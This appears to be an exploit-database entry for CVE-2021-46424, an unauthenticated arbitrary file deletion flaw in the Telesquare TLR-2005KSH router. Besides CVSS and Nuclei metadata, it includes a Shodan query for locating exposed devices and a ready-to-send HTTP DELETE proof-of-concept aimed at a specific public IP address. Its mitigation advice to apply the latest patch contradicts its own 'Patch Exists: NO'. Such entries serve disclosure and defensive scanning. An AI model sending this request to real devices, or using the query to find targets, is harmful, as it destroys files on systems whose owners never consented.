TLR-2005KSH - Arbitrary File Delete

vendor:

TLR-2005KSH

by:

Ahmed Alroky

9.1

CVSS

CRITICAL

Arbitrary File Delete

CWE

Product Name: TLR-2005KSH

Affected Version From: 1.0.0

Affected Version To: 1.0.0

Patch Exists: NO

Related CWE: CVE-2021-46424

CPE: a:telesquare:tlr-2005ksh:1.0.0

Metasploit:

Other Scripts:

Tags: cve,cve2021,telesquare,intrusive,packetstorm

CVSS Metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

Nuclei References: https://dl.packetstormsecurity.net/2205-exploits/tlr2005ksh-filedelete.txt, https://drive.google.com/drive/folders/1_e3eJ8fzhCWnCkoRpbLoyQecuKkPR4OD?usp=sharing, http://packetstormsecurity.com/files/167127/TLR-2005KSH-Arbitrary-File-Delete.html, https://nvd.nist.gov/vuln/detail/CVE-2021-46424

Nuclei Metadata: {'max-request': 3, 'shodan-query': 'http.html:"TLR-2005KSH"', 'verified': True, 'vendor': 'telesquare', 'product': 'tlr-2005ksh_firmware'}

Platforms Tested: Windows

2022

TLR-2005KSH – Arbitrary File Delete

This exploit allows an attacker to delete arbitrary files on the target system. By sending a specially crafted DELETE request, the attacker can specify the file to be deleted. This vulnerability can be exploited without authentication.

Mitigation:

To mitigate this vulnerability, it is recommended to apply the latest patch or update from the vendor. Additionally, access controls should be implemented to restrict unauthorized access to the affected system.

Source

Exploit-DB raw data:

# Exploit Title: TLR-2005KSH - Arbitrary File Delete
# Date: 2022-05-11
# Exploit Author: Ahmed Alroky
# Author Company : AIactive
# Version: 1.0.0
# Vendor home page : http://telesquare.co.kr/
# Authentication Required: No
# Tested on: Windows
# CVE: CVE-2021-46424

# Proof-of-Concept
# Request

DELETE /cgi-bin/test2.txt HTTP/1.1
Host: 220.89.223.215:8083
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close